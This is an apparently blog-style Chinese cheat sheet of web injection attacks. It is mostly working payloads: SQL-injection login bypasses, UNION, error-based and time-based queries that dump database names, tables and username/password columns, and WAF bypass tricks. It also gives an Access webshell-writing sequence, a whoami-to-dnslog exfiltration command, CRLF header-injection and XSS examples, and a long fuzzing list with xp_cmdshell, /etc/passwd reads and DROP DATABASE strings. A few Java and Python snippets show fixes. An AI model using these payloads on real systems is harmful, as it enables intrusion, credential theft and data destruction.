應用安全-Web安全-注入篇

SQL注入語句-登陸框javascript

‘ username  #username是否過濾'
' root      #password是否過濾'
"username: root
password: '" 以root帳號登陸(針對對查詢結果是否有值作了判斷的狀況)
root' and 1=1;# 空/任意 以admin帳號登陸(針對對查詢結果是否有值作了判斷的狀況)
admin' and 1=1;# 空/任意 "以空帳號登陸
若斷定條件爲$sql語句執行成功,而不對查詢結果處理(如斷定是否有值才能正確完成登陸重定向)"
and 1=1;# 空/任意 查詢語句結果爲空,判斷語句爲:查詢出的密碼=輸入的密碼
and 1=1;# 空php

用戶名輸入框中輸入:’ or 1=1#,密碼隨便輸入(mysql5.7.21中不成立:輸出報錯--)
' rlike (select (case when (1=1) then 1 else 0x28 end)) and '1'='1' or '1'='1
select @@secure_file_priv;  --查看是否能夠導入導出,爲NUll表示不容許,爲空表示容許
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;             --mysql3.x讀取方法

select * from user where id=1 and 1=2 union select 1,2,3;  --判斷表列數(這裏判斷是否爲3列)html

select * from user where id=1 and 1=2 union select version(),1,2; --判斷表列數+版本號(這裏判斷是否爲3列)java

select * from user where id=1 and 1=2 union select version(),database(),2; ----判斷表列數+版本號+數據庫名(這裏判斷是否爲3列)python

select * from user where id=1 and 1=2 union select version(),database(),user(); ----判斷表列數+版本號+數據庫名+用戶名(這裏判斷是否爲3列)mysql

select * from user where id=1 and 1=2 union select 1,2,schema_name from information_schema.schemata;(查詢全部數據庫)web

select * from user where id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata;(查詢全部數據庫)正則表達式

select * from user where id=1 and 1=2 union select 1,2,group_concat(convert(schema_name using latin1)) from information_schema.schemata;sql

and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() ---(根據庫名查看錶名稱)chrome

and 1=2 union select 1,2,group_concat(conver t(table_name using latin1)),4,5,6,7,8,9,
10,11,12,13,14,15 from information_schema.tables where table_schema=database() ---(根據庫名查看錶名稱)

mysql> select column_name from information_schema.columns where table_name=0x75736572; ----(根據表名查看列名,表名爲16進制編碼,需注意此處可能出現多張同名的表)

union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,
11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573 --(根據表名查看列名,表名爲16進制編碼,需注意此處可能出現多張同名的表)

and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15 from cms.cms_users --(根據庫、表、列查看用戶名和密碼,之間用加號分隔)

and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15 from cms.cms_users --(根據庫、表、列查看用戶名和密碼)

select table_name from information_schema.tables; --(mysql查看數據庫中的總表數目)

and (select count (*) from user_tables>0 (oracle查看數據庫中的總表數目)

select count(*) from information_schema.tables  --(mysql查看全部數據庫中的表總數)

mysql> select table_schema,count(*) from information_schema.tables group by table_schema  --(查詢數據庫中每個庫對應的表數目)

mysql> select table_name,table_schema from information_schema.tables where table
_schema='test';

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+

select * from (select name_const(version(),1))a;   --查看數據庫版本

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;   --利用數據庫報錯信息查看數據庫版本

select+*+from+(select+NAME_CONST((語句),1),NAME_CONST((語句),1))+as+x)--

update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b);

insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b)));

SQL注入登陸框 - 萬能密碼 - ASP

'or''='  |  'or''='
root' or 'afs'<>'1sa  |  empty - Arbitrary

SQL注入登陸框 - 萬能密碼 - PHP

'or 1=1/*
or 1=1#/*
admin' or 'a'='a   -- admin'報錯 - 》 admin''正常 -》  

 SQL注入搜索框 - 數字型 - PHP

?cid=211 and 1=1     ?cid=211 and 1=2

?type=2 and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)y)%23

SQL注入搜索框 - 數字型- PHP -》select被過濾-》使用%2b配合mysql內置函數注入  

http://www.xx.com/content_cygs.php?NID=240

http://www.xx.com/content_cygs.php?NID=235%2b(substring(@@version,1,1))

http://www.xx.com/content_cygs.php?NID=239%2b(substring(@@version,3,1))

http://www.xx.com/content_cygs.php?NID=234%2b(substring(@@version,5,1))

http://www.xx.com/content_cygs.php?NID=239%2bsubstring(ascii(substring(user(),1,1)),1,1)

SQL注入搜索框 - 字符型- PHP 

php?city=zhongshan' and 1=(case when 1=1 then 1 else(select 1 from information_schema.tables)end)and'a'='a
php?city=zhongshan' and 0=(case when 1=1 then 1 else(select 1 from informatino_schema.tables)end)and'a'='a

繞過方法整理

大小寫轉換法    SQL:sEleCt vERsIoN();
特殊字符構造法    select `version`();
編碼繞過(常見的SQL編碼有unicode、HEX、URL、ascll、base64等)    SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
拼湊法(利用waf的不完整性,只驗證一次字符串或者過濾的字符串並不完整)    SQL:selselectect verversionsion();

SQL注入 - 字段繞過 - 單引號繞過1

侷限性:(1)服務端採用GBK編碼(2)數據傳輸時對字符進行url編碼
root%d5' or 1=1;#      空/任意
addslashes -> urldecode
<?php 
$user = $_GET['username'];
$pass = $_GET['password'];
$con=mysqli_connect("localhost","root","root","test"); 
if (mysqli_connect_errno($con)) 
{ 
    echo "鏈接 MySQL 失敗: " . mysqli_connect_error(); 
} 
$adsuser = addslashes($user);
$adsuser1 = urldecode($adsuser);
$sql="SELECT * FROM user where username='$adsuser1'";
echo $sql;
$result = mysqli_query($con,$sql);
$arr  = (mysqli_fetch_row($result));
if(is_array($arr)){
 header("Location:manager.html");

}else {
 echo "Please Login Again!";
 header("Refresh:2;url=Login.html");
}
?>
View Code

SQL注入 - 字段繞過 - 單引號繞過2

root %27 and 1=1;#   空/任意

addslashes -> urldecode (配合瀏覽器 --瀏覽器會首先作一次urldecode)
<?php 
$user = $_GET['username'];
$pass = $_GET['password'];
$con=mysqli_connect("localhost","root","root","test"); 
if (mysqli_connect_errno($con)) 
{ 
    echo "鏈接 MySQL 失敗: " . mysqli_connect_error(); 
} 
$adsuser = addslashes($user);
$adsuser1 = urldecode($adsuser);
$sql="SELECT * FROM user where username='$adsuser1'";
echo $sql;
$result = mysqli_query($con,$sql);
$arr  = (mysqli_fetch_row($result));
if(is_array($arr)){
 header("Location:manager.html");

}else {
 echo "Please Login Again!";
 header("Refresh:2;url=Login.html");
}
?>
View Code

SQL注入 - 字段繞過 - 單引號繞過3

root %2527 and 1=1;#   空/任意

and 通常會考慮轉換爲 &&
內聯註釋繞過: /*!1*/=/*!2*/  
id=1 and/*!1=1*/  
View Code

SQL注入 - 字段繞過 - and繞過

空格過濾轉換爲 %0a 、+ 或者 /**/

SQL注入 - 字段繞過 - 空格繞過

等號轉換爲 like greatest between 這些在sqlmap 都有相應的tamper

SQL注入 - 字段繞過 - 等號繞過

/**/select

SQL注入 - 字段繞過 - select繞過

盲注

and (select count(*) from admin) >=0   --(猜表名)
and (select count (user) from admin ) >=0   --(猜列名)
select * from user where id=3 and (select count(id) from user) > 3;  --(猜列對應的行數,此處3返回正常頁面表示可繼續加1,直到頁面不顯示內容)
and (select top 1 len (列名) from 表名) >0   --(sqlserver中猜列名中的第一列對應的字符數)
and (select len (列名) from 表名 limit 1) >0   --(mysql中猜列名中的第一列字段對應的字符數)
and (select top 1asc (mid (user,1,1)) from admin) >96  ——(猜字段的Ascii值,mysql報錯)
"mysql> select * from user where id=1 and ascii(substring((select id from user where id=1),1,1))=49;   --(mysql猜字段的Ascii值)"
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);
select 1 from user where id regexp '^[1-9]' limit 6; --(列名用正則表達式表示)
select char(97)   --(ascii轉換爲字符a)
select ascii('a')   --(a取ascii值)
select ord('a');    ----(a取ascii值)
select left(database(),2);   ---取數據庫名的前兩個字符

mid
數據庫名判斷 mysql> select * from users where id=1 union select mid(database(),1,2),1,2; --根據查詢列數判斷數據庫名稱 "關鍵字: union select mid database ()
繞過字段: and
"
數據庫名判斷(暴力猜解) "mysql> select * from users where id=1 and sleep(if((mid(database(),1,1)='s'),2,0
));" "關鍵字:and sleep if mid database () = '
));
繞過字段: union select
"
length
數據庫名判斷 mysql> select * from users where id=1 and length(database())>7; --長度大於7判斷 "關鍵字: and length database () >
繞過字段: select =
"
floor
當前user()/database() "mysql> select * from users where id =1 and (select 1 from (select count(*),conca
t(user(),floor(rand(0)*2))x from users group by x)a);
ERROR 1062 (23000): Duplicate entry 'root@1' for key '<group_key>'"
updatexml "UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,爲XML文檔對象的名稱,文中爲Doc
第二個參數:XPath_string (Xpath格式的字符串) ,若是不瞭解Xpath語法,能夠在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
做用:改變文檔中符合條件的節點的值
改變XML_document中符合XPATH_string的值
而咱們的注入語句爲:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函數是將其連成一個字符串,所以不會符合XPATH_string的格式,從而出現格式錯誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'"
當前user()/database() http://www.hackblog.cn/sql.php?id=1 and (select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
暴庫 http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
暴表 http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段內容 http://www.hackblog.cn/sql.php?id=1 and mysql> select updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) from users limit 0,1),0x7e),1);


extractvalue
union聯合查詢注入
爆數據庫名 "mysql> select * from user where id=1 and username = 'root' and (extractvalue('anything',concat('~',(select database()))));
extractvalue()能查詢字符串的最大長度爲32,就是說若是咱們想要的結果超過32,就須要用substring()函數截取,一次查看32位
這裏查詢前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))"
爆表 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆字段 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
爆值 http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+
報錯型注入
爆表 http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆字段 "http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us')))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us','user','password','avatar','last_login')))) --+"
爆值 "http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+"
geometrycollection
multipoint
polygon
multipolygon
linestring
multilinestring
exp
concat過濾繞過(使用make_set,lpad,repeat,reverse,export_set):
select updatexml(1,make_set(3,0x7e,(select user())),1);
select updatexml(1,lpad('@',30,(select user())),1);
mysql> select updatexml(1,repeat((select user()),2),1);
mysql> select updatexml(1,reverse((select user())),1);
mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);

基於時間

sleep        
當前用戶名判斷    select if(user()='root@',sleep(2),null); --用戶名判斷 (刷新時間能夠經過瀏覽器的開發者選項f12來看,或者使用Firefox的firebug插件,或者burpsuite等工具)    "關鍵字: union select  if  user  ()  =  '  sleep 
繞過字段:  and
"
數據庫名判斷    mysql> select * from users where id=1 and  if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=113,sleep(2),null);    --暴力猜解當前數據庫中的數據庫名,此處猜解當前數據庫在第四個數據庫且數據庫首字母的ascii是爲113(q)    "關鍵字: and  if ascii substr select schema_nameinformation  limit  =  sleep   ()
繞過字段:union (select)
"
表名判斷    mysql> select * from users where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(2),null);   --暴力猜解當前數據庫security中第四張表的首字母爲u    "關鍵字:and  if  ascii  substr  select  information_schema  where =  '  limit  =  sleep  ()
繞過字段:union (select)
"
列名判斷    "mysql> select * from users where id=1 and  if(ascii(substr((select column_name f
rom information_schema.columns where table_schema='security' and table_name='use
rs' limit 0,1),1,1))=105,sleep(2),null);
Empty set (2.00 sec)    --暴力猜解當前數據庫security,users表第1列字段的首字母爲i"    "關鍵字:and  if  ascii  substr  select   information_schema where  =  ' limit sleep  ()
繞過字段:union (select)
"
字段值判斷    "mysql> select * from users where id=1 and  if(ascii(substr((select password from
 security.users limit 0,1),1,1))=68,sleep(2),null);   --暴力猜解當前數據庫security,users,password列第一列字段的首字母爲D
"    "關鍵字:and    if     ascii   substr   select    from   limit   =    sleep    ()
繞過字段:union (select)
"
數據庫名稱長度判斷    mysql> select * from users where id=1 and sleep(if((length(database())=8),0,3));    "關鍵字: and     sleep     if    length    database     ()       =
繞過字段:  select
"

語言/框架中注入漏洞整理 - Java

jdbc:java.sql.statement(類)--可能存在
java.sql.preparedstatement --不存在(推薦使用類)

"String sql = ""select * from user_table where username=
' ""+userName+"" ' and password=' ""+password+"" '"";"
繞過方法:‘or 1 = 1 –
"SELECT * FROM user_table WHERE
username='' ;DROP DATABASE (DB Name) --' and password='' 刪除數據庫"
String sql = 「select id,no from user where id=」 + id;
繞過方法:1 or 1 = 1
select id,no from user where id=1 or 1=1

語言/框架中注入漏洞整理 - Python

python中sql存在注入狀況:    
"sql = ""select id, name from test where id=%d and name='%s'"" %(id, name)
cursor.execute(sql)"    
"修復:
args = (id, name)
sql = ""select id, name from test where id=%s and name=%s""
cursor.execute(sql, args)"    
"sql = ""select id, name from test where id=""+ str(id) +"" and name='""+ name +""'""
cursor.execute(sql)"    
"修復:
name = MySQLdb.escape_string(name)
sql = ""select id, name from test where id=%d and name='%s'"" %(id, name)
cursor.execute(sql)"    

 

注入工具整理

BSQL Hacker 
1.支持SQL盲注;2.可自動對Oracle和MySQL數據庫進行攻擊 3.自動提取數據庫的數據和架構
 The Mole 1.開源 2.可繞過IPS/IDS; 3.攻擊範圍包括SQL Server、MySQL、Postgres和Oracle

Pangolin 1.支持Access、MSSql、MySql、Oracle、Informix、DB二、Sybase、PostgreSQL、Sqlite 2.從檢測注入開始到最後控制目標系統都給出了測試步驟 3.國內使用率最高的SQL注入測試的安全軟件

Access手工注入

'
1=1
1=2

猜解表名
and exists(select * from admin)

猜解列名
and exists(select admin from admin)

猜想字段內容
and (select top 1 len(admin) from admin)>n
and (select top 1 asc(mid(admin,1,1)) from admin)>c

Webshell寫入
create table cmd (a varchar(50))  
insert into cmd (a) values ('一句話木馬')  
select * into [a] in 'e:\host\chouwazi.com\web\data\xiao.asp;xiao.xls' 'excel 4.0;' from cmd  
drop table cmd  

 

Oracle注入--搜索框

and (select count(*) from user_tables)=5--

and 1=2 union select 1,2,table_name,'4','5',null,7,1 from user_tables

and (SELECT count(*) FROM USER_TAB_COLUMNS WHERE table_name='XBLOUSER' )>0

and 1=2  union select 1,2,COLUMN_NAME,'4','5',null,7,1 from (select * from (SELECT
COLUMN_NAME FROM USER_TAB_COLUMNS  WHERE table_name='XBLOUSER'  order by 1 asc )
WHERE  ROWNUM<=3 ORDER BY 1 DESC) WHERE ROWNUM<=1 --

Param_list:CommandName=getAppVersion) AND 9533=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(120)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (9533=9533) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND (5159=5159

SqlServer注入--搜索框

Param_list:CommandName=getAppVersion%' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) AND '%'='   (沒整明白其做用,convert用法正確)    

Param_list:CommandName
=getAppVersion\xCF' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) limit 10# Param_list:CommandName=getAppVersion\xCF' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) limit 10#

dnslog注入

獲取計算機名
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
獲取用戶名
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

Cookie注入

直接使用Request獲取參數如:SID=Request("ID"),先取Get值,再取Post值,而後取Cookie值

http://www.xxx.com/1.asp?id=123
若是咱們只輸 http://www.xxx.com/1.asp
時,就不能看到正常的數據,由於沒有參數!
咱們想知道有沒有Cookies問題(也就是有沒有Request("XXX")格式問題),
先用IE輸入 
http://www.xxx.com/1.asp
加載網頁,顯示不正常(沒有輸參數的緣由)
以後在IE輸入框再輸入
javascript:alert(document.cookie="id="+escape("123"));
按回車,你會看到彈出一個對話框 內容是: id=123 
以後,你刷新一個網頁,若是正常顯示,表示是用
Request("ID") 這樣的格式收集數據~~~~,這種格式就能夠試Cookies注入
在輸入框中輸入
javascript:alert(document.cookie="id="+escape("123 and 3=3"));
刷新頁面,若是顯示正常,能夠再試下一步(若是不正常,就有可能也有過濾了)

javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下頁面
若是不正常顯示,這就表示有注入
View Code

CLRF注入

通常網站會在HTTP頭中用Location: http://baidu.com這種方式來進行302跳轉,因此咱們能控制的內容就是Location:後面的XXX某個網址。
因此一個正常的302跳轉包是這樣:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn
但若是咱們輸入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一個換行,此時的返回包就會變成這樣:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location: http://www.sina.com.cn 
Set-cookie: JSPSESSID=wooyun
這個時候這樣咱們就給訪問者設置了一個SESSION,形成一個「會話固定漏洞」。
好比一個網站接受url參數http://test.sina.com.cn/?url=xxx,xxx放在Location後面做爲一個跳轉。若是咱們輸入的是:
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
咱們的返回包就會變成這樣:
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content-Type: text/html 
Content-Length: 154 
Connection: close 
Location:
<img src=1 onerror=alert(/xss/)>
瀏覽器會根據第一個CRLF把HTTP包分紅頭和體,而後將體顯示出來。因而這裏<img>這個標籤就會顯示出來,形成一個XSS。
瀏覽器的Filter是瀏覽器應對一些反射型XSS作的保護策略,當url中含有XSS相關特徵的時候就會過濾掉不顯示在頁面中,因此不能觸發XSS。
怎樣才能關掉filter?通常來講用戶這邊是不行的,只有數據包中http頭含有X-XSS-Protection而且值爲0的時候,瀏覽器纔不會開啓filter。
說到這裏應該就很清楚了,HRS不正是注入HTTP頭的一個漏洞嗎,咱們能夠將X-XSS-Protection:0注入到數據包中,再用兩個CRLF來注入XSS代碼,這樣就成功地繞過了瀏覽器filter,而且執行咱們的反射型XSS。
因此說HRS的危害大於XSS,由於它能繞過通常XSS所繞不過的filter,並能產生會話固定漏洞。
某分站含有一個url跳轉漏洞,危害並不大,因而我就想到了CRLF Injection,測試
http://xxx.xx.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E
的時候,發現圖片已經輸出在頁面中了,說明CRLF注入成功了:
那麼咱們就注入一個X-XSS-Protection:0到數據包中,看看什麼效果:
@mramydnei 還想到了一個利用字符編碼來繞過XSS Filter的方法,當編碼是is-2022-kr時瀏覽器會忽略%0f,這樣咱們在onerror後面加個%0f就能繞過filter,前提是注入一個<meta charset=ISO-2022-KR>:
固然,在Location:這裏注入只有webkit內核瀏覽器纔可以利用,其餘瀏覽器可能會跳轉、出錯。不過對於chrome的使用量來講,危害已經足夠了。
如何修復HRS漏洞,固然是過濾\r 、\n之類的換行符,避免輸入的數據污染到其餘HTTP頭。
View Code

SSTI注入

sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell

XFF(X-Forwarded-For)注入

X-Forwarded-for: 127.0.0.1  正常
X-Forwarded-for: 127.0.0.1’ 報錯
X-Forwarded-for: 127.0.0.1' and 1=1# 正常
X-Forwarded-for: 127.0.0.1' and 1=2#   報錯

SOAP接口XML注入

 異或注入

可用於判斷過濾
http://xx.xx.86.145:90/index.php?id=1'^(length('union')=5)%23
當union被過濾時1^0 輸出id=1
當union沒被過濾時 1 ^ 1 輸出 id=0
回顯 error

referer注入

寬字符注入

二次注入

Fuzzing篇

1 )%20or%20('x'='x
  2 %20or%201=1
  3 ; execute immediate 'sel' || 'ect us' || 'er'
  4 benchmark(10000000,MD5(1))#
  5 update
  6 ";waitfor delay '0:0:__TIME__'--
  7 1) or pg_sleep(__TIME__)--
  8 ||(elt(-3+5,bin(15),ord(10),hex(char(45))))
  9 "hi"") or (""a""=""a"
 10 delete
 11 like
 12 " or sleep(__TIME__)#
 13 pg_sleep(__TIME__)--
 14 *(|(objectclass=*))
 15 declare @q nvarchar (200) 0x730065006c00650063 ...
 16  or 0=0 #
 17 insert
 18 1) or sleep(__TIME__)#
 19 ) or ('a'='a
 20 ; exec xp_regread
 21 *|
 22 @var select @var as var into temp end --
 23 1)) or benchmark(10000000,MD5(1))#
 24 asc
 25 (||6)
 26 "a"" or 3=3--"
 27 " or benchmark(10000000,MD5(1))#
 28 # from wapiti
 29  or 0=0 --
 30 1 waitfor delay '0:0:10'--
 31  or 'a'='a
 32 hi or 1=1 --"
 33 or a = a
 34  UNION ALL SELECT
 35 ) or sleep(__TIME__)='
 36 )) or benchmark(10000000,MD5(1))#
 37 hi' or 'a'='a
 38 0
 39 21 %
 40 limit
 41  or 1=1
 42  or 2 > 1
 43 ")) or benchmark(10000000,MD5(1))#
 44 PRINT
 45 hi') or ('a'='a
 46  or 3=3
 47 ));waitfor delay '0:0:__TIME__'--
 48 a' waitfor delay '0:0:10'--
 49 1;(load_file(char(47,101,116,99,47,112,97,115, ...
 50 or%201=1
 51 1 or sleep(__TIME__)#
 52 or 1=1
 53  and 1 in (select var from temp)--
 54  or '7659'='7659
 55  or 'text' = n'text'
 56  --
 57  or 1=1 or ''='
 58 declare @s varchar (200) select @s = 0x73656c6 ...
 59 exec xp
 60 ; exec master..xp_cmdshell 'ping 172.10.1.255'--
 61 3.10E+17
 62 " or pg_sleep(__TIME__)--
 63 x' AND email IS NULL; --
 64 &
 65 admin' or '
 66  or 'unusual' = 'unusual'
 67 //
 68 truncate
 69 1) or benchmark(10000000,MD5(1))#
 70 \x27UNION SELECT
 71 declare @s varchar(200) select @s = 0x77616974 ...
 72 tz_offset
 73 sqlvuln
 74 "));waitfor delay '0:0:__TIME__'--
 75 ||6
 76 or%201=1 --
 77 %2A%28%7C%28objectclass%3D%2A%29%29
 78 or a=a
 79 ) union select * from information_schema.tables;
 80 PRINT @@variable
 81 or isNULL(1/0) /*
 82 26 %
 83 " or "a"="a
 84 (sqlvuln)
 85 x' AND members.email IS NULL; --
 86  or 1=1--
 87  and 1=( if((load_file(char(110,46,101,120,11 ...
 88 0x770061006900740066006F0072002000640065006C00 ...
 89 %20'sleep%2050'
 90 as
 91 1)) or pg_sleep(__TIME__)--
 92 /**/or/**/1/**/=/**/1
 93  union all select @@version--
 94 ,@variable
 95 (sqlattempt2)
 96  or (EXISTS)
 97 t'exec master..xp_cmdshell 'nslookup www.googl ...
 98 %20$(sleep%2050)
 99 1 or benchmark(10000000,MD5(1))#
100 %20or%20''='
101 ||UTL_HTTP.REQUEST
102  or pg_sleep(__TIME__)--
103 hi' or 'x'='x';
104 ") or sleep(__TIME__)="
105  or 'whatever' in ('whatever')
106 ; begin declare @var varchar(8000) set @var=' ...
107  union select 1,load_file('/etc/passwd'),1,1,1;
108 0x77616974666F722064656C61792027303A303A313027 ...
109 exec(@s)
110 ) or pg_sleep(__TIME__)--
111  union select
112  or sleep(__TIME__)#
113  select * from information_schema.tables--
114 a' or 1=1--
115 a' or 'a' = 'a
116 declare @s varchar(22) select @s =
117  or 2 between 1 and 3
118  or a=a--
119  or '1'='1
120 |
121  or sleep(__TIME__)='
122  or 1 --'
123 or 0=0 #"
124 having
125 a'
126 " or isNULL(1/0) /*
127 declare @s varchar (8000) select @s = 0x73656c ...
128 ‘ or 1=1 --
129 char%4039%41%2b%40SELECT
130 order by
131 bfilename
132  having 1=1--
133 ) or benchmark(10000000,MD5(1))#
134  or username like char(37);
135 ;waitfor delay '0:0:__TIME__'--
136 " or 1=1--
137 x' AND userid IS NULL; --
138 */*
139  or 'text' > 't'
140  (select top 1
141  or benchmark(10000000,MD5(1))#
142 ");waitfor delay '0:0:__TIME__'--
143 a' or 3=3--
144  -- &password=
145  group by userid having 1=1--
146  or ''='
147 ; exec master..xp_cmdshell
148 %20or%20x=x
149 select
150 ")) or sleep(__TIME__)="
151 0x730065006c0065006300740020004000400076006500 ...
152 hi' or 1=1 --
153 ") or pg_sleep(__TIME__)--
154 %20or%20'x'='x
155  or 'something' = 'some'+'thing'
156 exec sp
157 29 %
158 (
159 ý or 1=1 --
160 1 or pg_sleep(__TIME__)--
161 0 or 1=1
162 ) or (a=a
163 uni/**/on sel/**/ect
164 replace
165 %27%20or%201=1
166 )) or pg_sleep(__TIME__)--
167 %7C
168 x' AND 1=(SELECT COUNT(*) FROM tabname); --
169 &apos;%20OR
170 ; or '1'='1'
171 declare @q nvarchar (200) select @q = 0x770061 ...
172 1 or 1=1
173 ; exec ('sel' + 'ect us' + 'er')
174 23 OR 1=1
175 /
176 anything' OR 'x'='x
177 declare @q nvarchar (4000) select @q =
178 or 0=0 --
179 desc
180 ||'6
181 )
182 1)) or sleep(__TIME__)#
183 or 0=0 #
184  select name from syscolumns where id = (sele ...
185 hi or a=a
186 *(|(mail=*))
187 password:*/=1--
188 distinct
189 );waitfor delay '0:0:__TIME__'--
190 to_timestamp_tz
191 ") or benchmark(10000000,MD5(1))#
192  UNION SELECT
193 %2A%28%7C%28mail%3D%2A%29%29
194 +sqlvuln
195  or 1=1 /*
196 )) or sleep(__TIME__)='
197 or 1=1 or ""=
198  or 1 in (select @@version)--
199 sqlvuln;
200  union select * from users where login = char ...
201 x' or 1=1 or 'x'='y
202 28 %
203 ‘ or 3=3 --
204 @variable
205  or '1'='1'--
206 "a"" or 1=1--"
207 //*
208 %2A%7C
209 " or 0=0 --
210 ")) or pg_sleep(__TIME__)--
211 ?
212  or 1/*
213 !
214 '
215  or a = a
216 declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q)
217 declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) 
218 declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
219 declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s)
220 ' or 1=1
221  or 1=1 --
222 x' OR full_name LIKE '%Bob%
223 '; exec master..xp_cmdshell 'ping 172.10.1.255'--
224 '%20or%20''='
225 '%20or%20'x'='x
226 ')%20or%20('x'='x
227 ' or 0=0 --
228 ' or 0=0 #
229  or 0=0 #"
230 ' or 1=1--
231 ' or '1'='1'--
232 ' or 1 --'
233 or 1=1--
234 ' or 1=1 or ''='
235  or 1=1 or ""=
236 ' or a=a--
237  or a=a
238 ') or ('a'='a
239 'hi' or 'x'='x';
240 or
241 procedure
242 handler
243 ' or username like '%
244 ' or uname like '%
245 ' or userid like '%
